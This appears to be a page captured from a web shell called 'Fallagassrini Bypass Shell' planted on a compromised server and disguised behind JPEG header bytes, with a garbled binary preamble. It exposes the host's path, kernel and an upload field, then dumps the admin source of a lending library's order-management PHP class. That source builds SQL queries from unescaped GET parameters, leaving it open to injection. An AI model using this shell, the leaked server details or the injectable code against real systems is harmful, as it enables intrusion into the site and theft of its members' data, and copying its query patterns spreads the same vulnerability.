JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.OrderMgmt.php

<?php
#####Class For Adding Content Management ######
class OrderMgmt extends MysqlFns{
 
 /* class constructor */
 function OrderMgmt(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.OrderMgmt.php";
  global $config;
  global $objSmarty;
  $this->MysqlFns();
  $this->Limit = 15;
   $this->Keyword = '';
  $this->Operator = '';
  $this->PerPage = '';
  
  
    //$SelQuerys	= 'SELECT max(orderId) as last FROM `customer_orders_master` WHERE `region`="'.$_SESSION['Region'].'" Limit 0,1';
 //  echo $SelQuery;
      $SelQuerys	= 'SELECT max(order_id) as last FROM `customer_orders_master` WHERE `record_status`="1" Limit 0,1';
   $IwdDetail	= $this->ExecuteQuery($SelQuerys, 'select');
   
   if($IwdDetail[0]['last']!="")
   {
   $IwdDetail[0]['order_id'] = stripslashes($IwdDetail[0]['last']);
  	$c_id1 = preg_replace("/[^0-9\.]/", '', $IwdDetail[0]['order_id']);
	$c_id1= $c_id1 + 1;
	$str = str_split($IwdDetail[0]['last'], 3);
	$order_id = $str[0]. "" .$c_id1;
   }
   else
   {
   $order_id = "1001";
   }
	$objSmarty->assign('order_id', $order_id);
 }
 
 
 
  /* Insert the content for  Static Pages */
 
 function InsertOrderContent($objArray){ 
   global $objSmarty,$_POST;
   
   if(!$objArray['memberName']){
    $objSmarty->assign('ErrorMessage', 'Member Name should not be blank');
	return false;
   }elseif(!$objArray['memberId']){
    $objSmarty->assign('ErrorMessage', 'Member ID should not be blank');
	return false;
   }elseif(!$objArray['orderId']){
    $objSmarty->assign('ErrorMessage', 'Order ID should not be blank');
	return false;
   }elseif(!$objArray['d_of_o']){
    $objSmarty->assign('ErrorMessage', 'Date of Order should not be blank');
	return false;
   }/*elseif(!$objArray['t_r_c']){
    $objSmarty->assign('ErrorMessage', 'Total reading charge should not be blank');
	return false;
   }elseif(!$objArray['d_c']){
    $objSmarty->assign('ErrorMessage', 'Delivery charge should not be blank');
	return false;
   }elseif(!$objArray['t_c']){
    $objSmarty->assign('ErrorMessage', 'Total charges should not be blank');
	return false;
   }*/elseif(!$objArray['o_s']){
    $objSmarty->assign('ErrorMessage', 'Order status should not be blank');
	return false;
   }/*elseif(!$objArray['r_s']){
    $objSmarty->assign('ErrorMessage', 'Record status should be selected properly');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
   }*//*elseif(!$objArray['cmts']){
    $objSmarty->assign('ErrorMessage', 'Material Category should be selected properly');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
   }*/
/*$ReadQuery="SELECT SUM(reading_charges) As charge FROM `customer_orders_details` WHERE order_id='".$_GET['o_id']."'";
$ReadCharge		= $this->ExecuteQuery($ReadQuery, "select");//echo $ReadCharge[0]['charge'];
$tot = $ReadCharge[0]['charge'] + $objArray['d_c'] ;echo $tot;echo  $objArray['d_c'];

if($objArray['d_c'] == '' )
{
   $update_query_for_customer_master='UPDATE `customer_orders_master` SET `count` ="'.trim(addslashes($objArray['count'])).'",`total_reading_charges` ="'.$ReadCharge[0]['charge'].'",`order_status` ="'.trim(addslashes($objArray['o_s'])).'",`record_status`="1" , `comments` ="'.trim(addslashes($objArray['cmts'])).'",`delivery_time`="'.trim(addslashes($objArray['del_time'])).'"  WHERE `order_id` ="'.$_GET['o_id'].'"';
}
else
{
   $update_query_for_customer_master='UPDATE `customer_orders_master` SET `count` ="'.trim(addslashes($objArray['count'])).'",`total_reading_charges` ="'.$ReadCharge[0]['charge'].'",`delivery_charges` ="'.trim(addslashes($objArray['d_c'])).'",`total_charges` ="'.$tot.'",`order_status` ="'.trim(addslashes($objArray['o_s'])).'",`record_status`="1" , `comments` ="'.trim(addslashes($objArray['cmts'])).'",`delivery_time`="'.trim(addslashes($objArray['del_time'])).'"  WHERE `order_id` ="'.$_GET['o_id'].'"';
}*/

     /*$update_query_for_customer_master='UPDATE `customer_orders_master` SET `count` ="'.trim(addslashes($objArray['count'])).'",`total_reading_charges` ="'.$ReadCharge[0]['charge'].'",`delivery_charges` ="'.trim(addslashes($objArray['d_c'])).'",`total_charges` ="'.$tot.'",`order_status` ="'.trim(addslashes($objArray['o_s'])).'",`record_status`="1" , `comments` ="'.trim(addslashes($objArray['cmts'])).'",`delivery_time`="'.trim(addslashes($objArray['del_time'])).'"  WHERE `order_id` ="'.$_GET['o_id'].'"';
	 $this->ExecuteQuery($update_query_for_customer_master,"update");*/
	 
	     $update_query_for_customer_master='UPDATE `customer_orders_master` SET 
	 `total_reading_charges` ="'.trim(addslashes($objArray['t_r_c'])).'",
	 `delivery_charges` ="'.trim(addslashes($objArray['d_c'])).'",
	 `other_charges` ="'.trim(addslashes($objArray['o_c'])).'",
	 `total_charges` ="'.trim(addslashes($objArray['t_c'])).'",
	 `order_status` ="'.trim(addslashes($objArray['o_s'])).'",
	 `record_status`="1" , 
	 `comments` ="'.trim(addslashes($objArray['cmts'])).'",
	 `delivery_date`="'.trim(addslashes($objArray['del_date'])).'",
	 `delivery_time`="'.trim(addslashes($objArray['del_time'])).'" 
	  WHERE `order_id` ="'.$_GET['o_id'].'"';
	$this->ExecuteQuery($update_query_for_customer_master,"update");
	 
	 	 $SelQuerys1='SELECT * FROM `customer_orders_details` WHERE `order_id` ="'.$_GET['o_id'].'"';
	 $QueryExec		= $this->ExecuteQuery($SelQuerys1, "select");
	 
	 foreach($QueryExec as $key=>$value)
			{
				$bname = stripslashes($QueryExec[$key]['book_name']);
				//$rcharge = stripslashes($QueryExec[$key]['reading_charges']);
				
  $UpQuery='UPDATE `customer_orders_details` SET 
											 `book_status` ="'.trim(addslashes($objArray['status'][$bname])).'",
											 `order_status` ="'.trim(addslashes($objArray['o_s'])).'"
					                   WHERE 
											 `book_name` = "'.$bname.'" AND 
											 `order_id` ="'.$_GET['o_id'].'" AND
											 `status` = "0"';
  $this->ExecuteQuery($UpQuery, 'update');
  	
if($objArray['status'][$bname] == 'Unavailable')
{
/*$sql="insert into book_reserved(book_id,book_receipt_id,member_id,branch,reserved_date,comments,created_on) values('".$step['book_id']."','".$step['id']."','".$member_id."','".$branch."','".$reserved_date."','".$comments."','".date('Y-m-d H:i:s')."')";
*/
$MemQuery="SELECT * FROM `members` WHERE id='".$_GET['m_id']."'";
$MemQueryDet		= $this->ExecuteQuery($MemQuery, "select");//echo $ReadCharge[0]['charge'];
$branc = $MemQueryDet[0]['branch'] ;//echo $tot;echo  $objArray['d_c'];

$InsQueryVal = 'INSERT INTO `book_reserved`( `book_id`,`book_receipt_id`,`member_id`,`branch`,`reserved_date`,`comments`) VALUES("'.trim(addslashes($objArray['bid'][$bname])).'","'.trim(addslashes($objArray['rec'][$bname])).'","'.$_GET['m_id'].'","'.$branc.'","'.date('Y-m-d').'","'.trim(addslashes($objArray['cmts'])).'")';
$this->ExecuteQuery($InsQueryVal, 'insert');

}
	}
	 
	  $sql="SELECT book_name,book_status FROM `customer_orders_details` WHERE order_id='".$_GET['o_id']."' AND status='0'";
	 $bkQuery=mysql_query($sql);
	 while($row = mysql_fetch_assoc($bkQuery)) {
	  $book_id=$book_id.'<br>'.$row['book_name'].'  ('.$row['book_status'].').'; 
	   $sta = $sta .','.$row['book_status'];//echo $sta;
	  /*$update_query_for_customer_details='UPDATE `customer_orders_details` SET `order_status` ="'.trim(addslashes($objArray['o_s'])).'" WHERE `book_name`="'.$row['book_name'].'" AND `order_id` ="'.$_GET['o_id'].'"';
	  $this->ExecuteQuery($update_query_for_customer_details,"update");*/
}

$commaseparatedlist = explode(',',$sta);
if (in_array('Available', $commaseparatedlist))
{
if(in_array('Unavailable', $commaseparatedlist))
{
$EmailHtml = "";
  $EmailHtml .= '<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="center" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><br>
    <br>
    <table width="600" border="0" cellspacing="0" cellpadding="0">

      <tr>
        <td align="left" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          </table>
          <table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          <tr><td width="180" align="left" valign="middle" style="font-family:Arial, Helvetica, sans-serif; color:#4e4e4e; font-size:13px; padding-right:10px;">
		  <img src="./images/ell-logo.jpg" width="175" height="75" style="display:block;">
            <h3>Welcome To Easwari Lending Library</h3>
            <p>Dear Customer,</p>
			<p>Thanking u, for your enquiry</p>

<p> W.r.t your request pls find the available and unavailable books list, would you like the books to be delivered.If so, please call. Unavailable books would be kept in queue as reserved, when its available it will be informed. </p>
			<p>Book Name :'.$book_id.'</p>
			<p>Total Reading Charge :Rs. '.$objArray['t_r_c'].'</p>
			<p>Delivery Charge: Rs.'.$objArray['d_c'].'</p>
			<p>Other Charge: Rs.'.$objArray['o_c'].'</p>
			<p>Total Charge: Rs.'.$objArray['t_c'].'</p>
			<p>Delivery Date &amp; Time: Rs.'.$objArray['del_date'].' &amp; '.$objArray['del_time'].'</p>
			<p>Comments:'.$objArray['cmts'].'</p>


			


		<center>
		<p>Thanking you once again.</p>
		<p>Sincerely, Easwari Lending Library,</p></center>
			</td>
			</tr>
            </table>
          <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
            <tr>
              <td width="50%" align="left" valign="middle" style="padding:10px;"><table width="75%" border="0" cellspacing="0" cellpadding="4">
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:14px; color:#000000;"><b>Follow Us On</b></td>
                  </tr>
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:12px; color:#000000;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/tweet48.png" width="48" height="48"></td>
                      <td width="34%" align="left" valign="middle"><img src="http://www.tasca.in/images/in48.png" width="48" height="48"></td>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/face48.png" width="48" height="48"></td>
                      </tr>
                    </table></td>
                  </tr>
                </table></td>
             
                <br>
                <b>Hours:</b> Mon-Sat 9:00-8:00, Sun. Closed <br>
				 <b>Contact Us:</b> '.$Readb[0]['mobile_number'].' / '.$Readb[0]['phone_number'].'<br>
                <b>Customer Support:</b> <a href="mailto:support@easwarilibrary.in" style="color:#595959; text-decoration:none;">support@easwarilibrary.in</a></td>
              </tr>
          </table></td>
      </tr>
      </table>
    <br>
    <br></td>
  </tr>
</table>
</body>
</html>';
}
else
{
$EmailHtml = "";
  $EmailHtml .= '<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="center" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><br>
    <br>
    <table width="600" border="0" cellspacing="0" cellpadding="0">

      <tr>
        <td align="left" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          </table>
          <table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          <tr><td width="180" align="left" valign="middle" style="font-family:Arial, Helvetica, sans-serif; color:#4e4e4e; font-size:13px; padding-right:10px;">
		  <img src="./images/ell-logo.jpg" width="175" height="75" style="display:block;">
            <h3>Welcome To Easwari Lending Library</h3>
            <p>Dear Customer,</p>
			<p>Thanking u, for your enquiry</p>
			
			<p>W.r.t to your request pls finds the available list, would you like to pick up the books or should it be delivered. </p>
			
			<p>Book Name :'.$book_id.'</p>
			<p>Total Reading Charge :Rs. '.$objArray['t_r_c'].'</p>
			<p>Delivery Charge: Rs.'.$objArray['d_c'].'</p>
			<p>Other Charge: Rs.'.$objArray['o_c'].'</p>
			<p>Total Charge: Rs.'.$objArray['t_c'].'</p>
			<p>Delivery Date &amp; Time: Rs.'.$objArray['del_date'].' &amp; '.$objArray['del_time'].'</p>
            <p>Comments:'.$objArray['cmts'].'</p>

			


		<center>
		<p>Thanking you once again.</p>
		<p>Sincerely, Easwari Lending Library,</p></center>
			</td>
			</tr>
            </table>
          <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
            <tr>
              <td width="50%" align="left" valign="middle" style="padding:10px;"><table width="75%" border="0" cellspacing="0" cellpadding="4">
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:14px; color:#000000;"><b>Follow Us On</b></td>
                  </tr>
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:12px; color:#000000;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/tweet48.png" width="48" height="48"></td>
                      <td width="34%" align="left" valign="middle"><img src="http://www.tasca.in/images/in48.png" width="48" height="48"></td>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/face48.png" width="48" height="48"></td>
                      </tr>
                    </table></td>
                  </tr>
                </table></td>
             
                <br>
                <b>Hours:</b> Mon-Sat 9:00-8:00, Sun. Closed <br>
				 <b>Contact Us:</b> '.$Readb[0]['mobile_number'].' / '.$Readb[0]['phone_number'].'<br>
                <b>Customer Support:</b> <a href="mailto:support@easwarilibrary.in" style="color:#595959; text-decoration:none;">support@easwarilibrary.in</a></td>
              </tr>
          </table></td>
      </tr>
      </table>
    <br>
    <br></td>
  </tr>
</table>
</body>
</html>';
}  
} 
else 
{
$EmailHtml = "";
  $EmailHtml .= '<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="center" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><br>
    <br>
    <table width="600" border="0" cellspacing="0" cellpadding="0">

      <tr>
        <td align="left" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          </table>
          <table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          <tr><td width="180" align="left" valign="middle" style="font-family:Arial, Helvetica, sans-serif; color:#4e4e4e; font-size:13px; padding-right:10px;">
		  <img src="./images/ell-logo.jpg" width="175" height="75" style="display:block;">
            <h3>Welcome To Easwari Lending Library</h3>
            <p>Dear Customer,</p>
			<p>Thanking u, for your enquiry</p>
			
	        <p>W.r.t your request the books are unavailable, Unavailable books would be kept in queue as reserved, it will be informed when it is available.</p>
			<p>Book Name :'.$book_id.'</p>
			<p>Total Reading Charge :Rs. '.$objArray['t_r_c'].'</p>
			<p>Delivery Charge: Rs.'.$objArray['d_c'].'</p>
			<p>Other Charge: Rs.'.$objArray['o_c'].'</p>
			<p>Total Charge: Rs.'.$objArray['t_c'].'</p>
			<p>Delivery Date &amp; Time: Rs.'.$objArray['del_date'].' &amp; '.$objArray['del_time'].'</p>
            <p>Comments:'.$objArray['cmts'].'</p>

			


		<center>
		<p>Thanking you once again.</p>
		<p>Sincerely, Easwari Lending Library,</p></center>
			</td>
			</tr>
            </table>
          <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
            <tr>
              <td width="50%" align="left" valign="middle" style="padding:10px;"><table width="75%" border="0" cellspacing="0" cellpadding="4">
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:14px; color:#000000;"><b>Follow Us On</b></td>
                  </tr>
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:12px; color:#000000;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/tweet48.png" width="48" height="48"></td>
                      <td width="34%" align="left" valign="middle"><img src="http://www.tasca.in/images/in48.png" width="48" height="48"></td>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/face48.png" width="48" height="48"></td>
                      </tr>
                    </table></td>
                  </tr>
                </table></td>
             
                <br>
                <b>Hours:</b> Mon-Sat 9:00-8:00, Sun. Closed <br>
				 <b>Contact Us:</b> '.$Readb[0]['mobile_number'].' / '.$Readb[0]['phone_number'].'<br>
                <b>Customer Support:</b> <a href="mailto:support@easwarilibrary.in" style="color:#595959; text-decoration:none;">support@easwarilibrary.in</a></td>
              </tr>
          </table></td>
      </tr>
      </table>
    <br>
    <br></td>
  </tr>
</table>
</body>
</html>';
}
	  
	   $sqlm="SELECT * FROM `members` WHERE id='".$_GET['m_id']."'";
	 $Readm		= $this->ExecuteQuery($sqlm, "select");//echo $Readm[0]['branch'];
	 
	    $sqlb="SELECT * FROM `branches` WHERE id='".$Readm[0]['branch']."'";
	 $Readb		= $this->ExecuteQuery($sqlb, "select");//echo $Readb[0]['mobile_number'];echo $Readb[0]['phone_number'];
	 
	
	  $ArrReplace = array($config['SiteTitle'], $config['SiteGlobalPath']);
	  $Message = str_replace($ArrFind, $ArrReplace, $EmailHtml);
	  
	    $SelQuerys	= 'SELECT * FROM `members` WHERE `id`="'.$_GET['m_id'].'" ';
   $IwdDetail	= $this->ExecuteQuery($SelQuerys, 'select');//print_r($IwdDetail);
   
	  $Mail = $IwdDetail[0]['emailid'];
	  $ccMail = $_POST['cc'];

	   if($Mail != '')
	  {
				$To = $Mail;
	  }
	  else

	  {
	    //$To = "rsureshit@hotmail.com";
	  }
		$From = 'support@easwarilibrary.in';
		$ccarr = $ccMail;
		$Subject =' Welcome to '.$config['SiteTitle'] .','.$SalMas[0]['customer_name'].$_POST['subject'] ;
		Send($To, $Message, $From, $Subject,$ccarr);
	
	header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&o_id='.$_GET['o_id'].'&name='.$_GET['name'].'&m_code='.$_GET['m_code'].'&m_type='.$_GET['m_type'].'&window_action=true');
	return true;

 }

//Get Order Details 
 
  function GetOrderMgmt($objArray='')  
	{
		global $objSmarty;
			$SelQuery4 = 'SELECT *,cd.order_id FROM `customer_orders_details` cd LEFT JOIN `customer_orders_master` cm ON cd.order_id =cm.order_id WHERE cd.order_id ="'.$_GET['o_id'].'" AND cd.status="0"';
		//$SelQuery4 = 'SELECT * FROM `customer_orders_details` WHERE order_id ="'.$_GET['o_id'].'" AND status="0"' ;
		$PageList2		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList2', $PageList2);
	}	

   /* Get the Static Content list */
 	function GetOrderMgmtView($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['orderId']);
		$SelQuery = 'SELECT * FROM `customer_orders_master` WHERE order_id ="'.$_GET['orderId'].'"' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$SelQuery_on_tax_details = 'SELECT * FROM `arka_inward_tax_details` WHERE orderId ="'.$_GET['orderId'].'"' ;
		$LDList_on_tax_details		= $this->ExecuteQuery($SelQuery_on_tax_details, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("LDList2",$LDList);
			$objSmarty->assign("LDList_on_tax_details",$LDList_on_tax_details);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		$objPage->set_page_data($_SERVER['PHP_SELF'],$total_records,$record_per_page,$scroll,true,true,true);
		$listing_split = new MsplitPageResults($SelQuery, $this->Limit);
		
		if ( ($listing_split->number_of_rows > 0) )  
		{
			$objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
			$objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$PageList = $this->ExecuteQuery($listing_split->SelQuery, 'selectassoc');
		}
		if(!empty($PageList) && is_array($PageList))
			foreach($PageList as $key=>$value)
			{
				$PageList[$key]['Cid'] = stripslashes($PageList[$key]['customer_id']);
				$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
				$objSmarty->assign('Cid',$PageList[$key]['customer_id']);
				$objSmarty->assign('Cname',$PageList[$key]['customer_name']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('PageList', $PageList);
			echo $PageList;
			return $PageList;
	}	
 
 
 
  /* Edit the Static Page */
 function EditOrderMgmt($objArray){
  global $objSmarty,$_REQUEST;


   if(!empty($objArray['ConId']) && is_array($objArray['ConId']))
   {

    
   		foreach($objArray['ConId'] as $key => $value)
		{


   if(!$objArray[$value]['material_type_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Type should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_category_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Category should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_code_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Code should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_specification_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Specification should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_name_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Name should not be blank');
	return false;
   }elseif(!$objArray[$value]['price_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Price should not be blank');
	return false;
   }elseif(!$objArray[$value]['quantity_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Quantity should not be blank');
	return false;
   }
	
	
		 $SelQuery_on_stock	= 'SELECT * FROM `arka_stock_master` WHERE `material_type` ="'.trim(addslashes($objArray[$value]['material_type_edit'])).'" && `material_category` ="'.trim(addslashes($objArray[$value]['material_category_edit'])).'" &&  `material_name` ="'.trim(addslashes($objArray[$value]['material_name_edit'])).'" &&  `unit_price` ="'.trim(addslashes($objArray[$value]['price_edit'])).'" && `material_code` ="'.trim(addslashes($objArray[$value]['material_code_edit'])).'"';
	  $RList		= $this->ExecuteQuery($SelQuery_on_stock, "select");
		
	$SelQuery_on_details	= 'SELECT * FROM `customer_orders_details` WHERE `sl_no` ="'.trim(addslashes($value)).'"';
	$dtl_List		= $this->ExecuteQuery($SelQuery_on_details, "select");	
	if($dtl_List[0]['quantity']>$objArray[$value]['quantity_edit'])
	{
	$dfrnce_for_cmprsn=$dtl_List[0]['quantity']-$objArray[$value]['quantity_edit'];
	}
	elseif($objArray[$value]['quantity_edit']>$dtl_List[0]['quantity'])
	{
	$dfrnce_for_cmprsn=$objArray[$value]['quantity_edit']-$dtl_List[0]['quantity'];
	}
	elseif($objArray[$value]['quantity_edit']==$dtl_List[0]['quantity'])
	{
	$dfrnce_for_cmprsn=0;
	}
	
		
  if($RList[0]['material_type'])
  {
  
   if($dfrnce_for_cmprsn <= $RList[0]['quantity'] )
   {
    

	if($dtl_List[0]['quantity']==$objArray[$value]['quantity_edit'])
	{ 
	   	
	$UpQuery = 'UPDATE `customer_orders_details` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `material_specification` = "'.$objArray[$value]['material_specification_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'", `price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$objArray[$value]['quantity_edit'].'" WHERE `sl_no` ="'.$value.'"';
	$this->ExecuteQuery($UpQuery, 'update');

	}
	elseif($dtl_List[0]['quantity'] < $objArray[$value]['quantity_edit'])
	{
	$differnce_from_detail=$objArray[$value]['quantity_edit']-$dtl_List[0]['quantity'];
	$quantity=$RList[0]['quantity']+$differnce_from_detail;
	$update_total=$quantity*$RList[0]['unit_price'];
	$UpQuery_on_stock = 'UPDATE `arka_stock_master` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `unit_price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$quantity.'", `total` = "'.$update_total.'" WHERE `sl_no` ="'.$RList[0]['sl_no'].'"';
	$this->ExecuteQuery($UpQuery_on_stock, 'update');
	
	
		$UpQuery = 'UPDATE `customer_orders_details` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `material_specification` = "'.$objArray[$value]['material_specification_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'", `price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$objArray[$value]['quantity_edit'].'" WHERE `sl_no` ="'.$value.'"';
	$this->ExecuteQuery($UpQuery, 'update');

	
	}
	elseif($dtl_List[0]['quantity'] > $objArray[$value]['quantity_edit'])
	{
	$differnce_from_detail=$dtl_List[0]['quantity']-$objArray[$value]['quantity_edit'];
	$quantity=$RList[0]['quantity']-$differnce_from_detail;
	$update_total=$quantity*$RList[0]['unit_price'];
	$UpQuery_on_stock = 'UPDATE `arka_stock_master` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `unit_price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$quantity.'", `total` = "'.$update_total.'" WHERE `sl_no` ="'.$RList[0]['sl_no'].'"';
	$this->ExecuteQuery($UpQuery_on_stock, 'update');
	
	
		$UpQuery = 'UPDATE `customer_orders_details` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `material_specification` = "'.$objArray[$value]['material_specification_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'", `price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$objArray[$value]['quantity_edit'].'" WHERE `sl_no` ="'.$value.'"';
	$this->ExecuteQuery($UpQuery, 'update');

	
	}
		
  }
  else
  {
  $objSmarty->assign('ErrorMessage_on_edit', 'Sorry "'.$RList[0]['quantity'].'"stock only available');
  $this->GetInwardDetailsView();
  return false;
  }
   } 
   
  else
  {
  $objSmarty->assign('ErrorMessage_on_edit', 'Sorry the stock is not available');
  $this->GetInwardDetailsView();
  return false;
  }
   		
   }
   
	
  }
  else
  {
  $objSmarty->assign('ErrorMessage_on_edit', 'Please select a check box to update');
  $this->GetInwardDetailsView();
  return false;
  }	
  
  //	$objSmarty->assign('SuccessMessage_on_edit', 'Inward Details Updated Successfully');
	//$this->GetInwardDetailsView();
	$url_addtnal_data=base64_encode("Inward Details Updated Successfully");
    header('location:'.$_SERVER['PHP_SELF']."?sm_on_del=".$url_addtnal_data."&orderId=".$_GET['orderId']);
  	
 }
 
  /* Get the Static Content list */
 function GetOrderLists($objArray=''){
  global $objSmarty;

  $whereClause = ' WHERE `submit_status` ="1" AND `record_status`="1" ORDER BY order_id DESC';
  
  if($_POST['search'] == ''){
  			if($_POST['order_id'])
	   			$whereClause = ' WHERE (`order_id` like "%'.$objArray['order_id'].'%") AND `submit_status` ="1" AND `record_status`="1" ORDER BY orderId';	
	   		elseif($_POST['member_id'])
	   			$whereClause = ' WHERE (`member_id` like "%'.$objArray['member_id'].'%") AND  `submit_status` ="1" AND `record_status`="1" ORDER BY order_id';
			elseif($_POST['member_name'])
